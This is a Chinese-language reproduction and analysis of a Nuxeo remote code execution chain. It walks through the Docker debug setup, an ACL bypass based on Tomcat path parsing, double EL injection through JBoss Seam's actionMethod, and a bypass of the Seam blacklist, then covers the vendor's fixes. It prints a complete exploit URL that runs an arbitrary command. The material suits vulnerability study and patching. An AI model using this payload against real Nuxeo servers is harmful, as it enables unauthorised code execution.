nuxeo rce 漏洞复现分析
字数 2105 2025-08-27 12:33:43
Nuxeo RCE漏洞复现与分析教学文档
漏洞概述
本漏洞是一个在Nuxeo企业内容管理系统中发现的远程代码执行(RCE)漏洞链,由Orange安全研究员发现并报告。该漏洞链结合了路径规范化绕过、访问控制列表(ACL)绕过和JBoss Seam框架中的表达式语言(EL)注入,最终导致远程代码执行。
环境搭建
方法一:Docker远程调试
-
拉取Nuxeo 8分支版本:
docker pull nuxeo:8 -
开启调试模式:
- 修改
/opt/nuxeo/server/bin/nuxeo.conf文件 - 取消注释调试选项:
JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n
- 修改
-
安装必要模块:
cd /opt/nuxeo/server ./bin/nuxeoctl mp-install nuxeo-jsf-ui -
导出源代码:
- 进入Docker容器,打包
/opt/nuxeo/server目录 - 将打包文件导出到宿主机
- 进入Docker容器,打包
-
配置IDEA远程调试:
- 导入
server/nxserver/nuxeo.war - 添加必要的jar包(来自
server/bin、server/lib、server/nxserver/bundles、server/nxserver/lib) - 配置远程调试连接(端口8787)
- 导入
-
导入相关源代码:
- Apache Tomcat 7.0.69源码
- Nuxeo 8.10-SNAPSHOT源码
- JBoss Seam 2.3.1源码
方法二:源码搭建(不推荐)
由于Nuxeo系统复杂,涉及Nuxeo、JBoss-Seam和Tomcat的集成,源码搭建较为困难,建议使用Docker方式。
漏洞分析
漏洞链组成
- 路径规范化错误导致ACL绕过
- 代码重用功能导致部分EL调用
- 双重评估导致EL注入
- 最终实现RCE
详细分析
1. ACL绕过漏洞
核心问题:Nuxeo与Tomcat对URL路径解析不一致
-
Nuxeo的ACL检查:
- 由
NuxeoAuthenticationFilter实现 bypassAuth()方法检查请求页面是否在白名单中getRequestedPage()方法处理路径时,会截断;后面的内容
- 由
-
Tomcat的路径处理:
- 会规范化路径,处理
;和.. - 最终servlet路径与Nuxeo判断的路径不同
- 会规范化路径,处理
利用方式:
http://target/nuxeo/login.jsp;/..;/oauth2Grant.jsp
- Nuxeo看到的是
login.jsp(在白名单中) - Tomcat最终处理的是
oauth2Grant.jsp(需要认证)
2. JBoss Seam EL注入
actionMethod参数功能:
- 由
org.jboss.seam.navigation.Pages.callAction()处理 - 格式:
文件名:EL表达式 - 要求:
- 必须是
文件名:EL表达式格式 - 文件名必须是真实存在的文件
- 文件中必须包含
"#{EL表达式}"
- 必须是
安全检查:
SafeActions.isActionSafe()方法验证:- 检查请求的EL表达式是否存在于指定文件中
- 防止任意EL表达式执行
3. 双重EL评估
漏洞点:
handleOutcome()方法会对EL表达式的结果再次评估- 如果结果本身也是EL表达式,会被再次执行
可利用文件:
widgets/suggest_add_new_directory_entry_iframe.xhtml包含:
<nxu:set var="directoryNameForPopup" value="#{request.getParameter('directoryNameForPopup')}" cache="true">
- 第一次执行:
request.getParameter('directoryNameForPopup') - 第二次执行:参数值(如果也是EL表达式)
4. 绕过Seam黑名单
Seam 2.3.1中的黑名单(org/jboss/seam/blacklist.properties):
.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']
绕过方式:
使用数组表示法代替方法调用:
- 原方式:
"".getClass().forName("java.lang.Runtime") - 绕过方式:
""["class"].forName("java.lang.Runtime")
漏洞利用
完整利用链
- 绕过ACL访问任意servlet
- 通过actionMethod调用特定xhtml文件中的EL表达式
- 利用双重评估执行自定义EL表达式
- 绕过黑名单实现RCE
最终Payload
http://target/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'恶意命令')}
Payload解析:
getDeclaredMethods()[7]→getRuntime()getDeclaredMethods()[15]→exec(String)
漏洞修复
Nuxeo修复
修复点:NXP-24645
- 改用
httpRequest.getServletPath()获取路径 - 确保与Tomcat的路径规范化一致
Seam修复
-
NXP-24606:
- 增强黑名单,添加
.forName(等关键字
- 增强黑名单,添加
-
NXP-24604:
- 修改
callAction()方法,直接返回false不执行任何EL表达式
- 修改
总结
该漏洞链展示了多个安全问题的组合利用:
- 路径解析不一致导致的ACL绕过
- 框架特性导致的EL表达式注入
- 双重评估导致的安全边界突破
- 黑名单绕过技术
通过此案例,我们学习到:
- 路径规范化在不同组件间的差异可能导致安全问题
- 框架特性需要谨慎设计,避免被恶意利用
- 表达式语言的执行需要严格限制
- 黑名单机制容易被绕过,需要多层防御